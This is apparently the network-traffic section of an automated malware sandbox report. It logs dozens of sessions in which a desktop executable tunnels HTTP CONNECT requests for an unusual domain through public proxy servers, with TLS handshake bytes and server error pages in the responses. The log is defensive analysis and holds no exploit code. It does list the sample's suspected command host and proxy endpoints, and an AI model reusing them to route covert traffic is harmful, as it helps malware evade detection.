Mar 11, 2024 15:21:04.956526041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.631850958 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
768	192.168.2.9	51822	163.172.153.194	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.967716932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.137659073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.138329983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.138488054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
769	192.168.2.9	52597	72.206.181.97	64943	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.968240976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
770	192.168.2.9	52557	65.1.244.232	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.995810986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.389303923 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:05 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 15:21:05.506493092 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 ef 13 50 a4 c7 fb f3 c9 dc 10 91 26 cd b1 8d 76 95 94 26 c1 eb 18 19 1b 2d c1 25 17 6f 4f 40 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eP&v&-%oO@*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#Yf./JK6O+{8jpy.BE`
Mar 11, 2024 15:21:05.898076057 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 bf 54 fc e9 8b 7b c4 17 95 32 78 7a f7 3d 9a ba f7 74 4d be 4e 11 2c 43 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9T{2xz=tMN,CDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311134643Z260311134643Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 15:21:06.097173929 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 4a e9 63 51 24 c6 ba a5 2b 1e ab 83 df 1c aa 13 fd 28 97 ef 26 21 c1 7a 7d c5 50 9e 13 01 8a 76 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 28 0e 40 29 b4 ec aa f0 9a b6 a0 53 cd c3 04 0c 6b 1d c3 2a f1 Data Ascii: %! JcQ$+(&!z}Pv((@)Sk*a^
Mar 11, 2024 15:21:06.487128973 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 39 61 fb bf c0 6a 88 df cf fc 8d f8 f0 79 68 ce f1 cc 9d d4 bf 9e a0 50 4d 7b da 4d 19 0e 78 6e 31 03 61 63 91 72 b4 66 Data Ascii: (9ajyhPM{Mxn1acrf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
771	192.168.2.9	52572	193.239.56.84	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.001401901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
772	192.168.2.9	52220	142.54.237.34	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.003748894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
773	192.168.2.9	51868	162.214.227.68	55392	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.006597042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.137800932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
774	192.168.2.9	52632	157.185.176.44	26589	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.018739939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
775	192.168.2.9	50073	94.124.16.218	8901	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.020966053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.137841940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
776	192.168.2.9	52586	116.106.105.208	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.029725075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
777	192.168.2.9	52582	103.127.1.130	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.065393925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
778	192.168.2.9	51816	148.66.130.53	7830	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.082387924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
779	192.168.2.9	51944	176.197.144.158	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.093215942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
780	192.168.2.9	52641	52.151.210.204	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.113965988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
781	192.168.2.9	51997	154.65.39.8	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.199645996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.325349092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.325828075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.325838089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.654148102 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:21:09 GMT Server: Apache/2.4.38 (Debian) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of
Mar 11, 2024 15:21:20.654160976 CET	294	IN	Data Raw: 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.38 (Debian) Server at heygirlisheeverythingyou

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
782	192.168.2.9	52648	66.225.246.238	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.205260992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
783	192.168.2.9	51554	184.170.249.65	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.205271959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
784	192.168.2.9	52640	203.74.125.18	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.205681086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
785	192.168.2.9	52637	203.222.24.36	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.206295967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
786	192.168.2.9	51975	83.126.54.155	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.227751970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.345144987 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
787	192.168.2.9	52645	72.217.158.202	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.230020046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
788	192.168.2.9	52638	103.200.135.228	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.246449947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
789	192.168.2.9	52636	91.241.217.58	9090	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.246452093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
790	192.168.2.9	50318	185.40.80.143	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.247917891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
791	192.168.2.9	52084	176.253.53.25	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.258253098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.609316111 CET	736	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:22:54 GMT Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k Content-Length: 530 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@example.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
792	192.168.2.9	52036	110.34.3.229	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.260495901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.505604982 CET	550	IN	HTTP/1.1 502 Proxy Error Date: Mon, 11 Mar 2024 14:21:10 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1o Content-Length: 373 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 32 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 72 65 63 65 69 76 65 64 20 61 6e 20 69 6e 76 61 6c 69 64 0d 0a 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 61 6e 20 75 70 73 74 72 65 61 6d 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0d 0a 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 44 4e 53 20 6c 6f 6f 6b 75 70 20 66 61 69 6c 75 72 65 20 66 6f 72 3a 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Proxy Error</title></head><body><h1>Proxy Error</h1><p>The proxy server received an invalidresponse from an upstream server.<br />The proxy server could not handle the request<p>Reason: <strong>DNS lookup failure for: heygirlisheeverythingyouwantedinaman.com</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
793	192.168.2.9	50327	161.97.170.209	62291	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.260829926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
794	192.168.2.9	51983	125.25.43.147	8180	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.261219025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
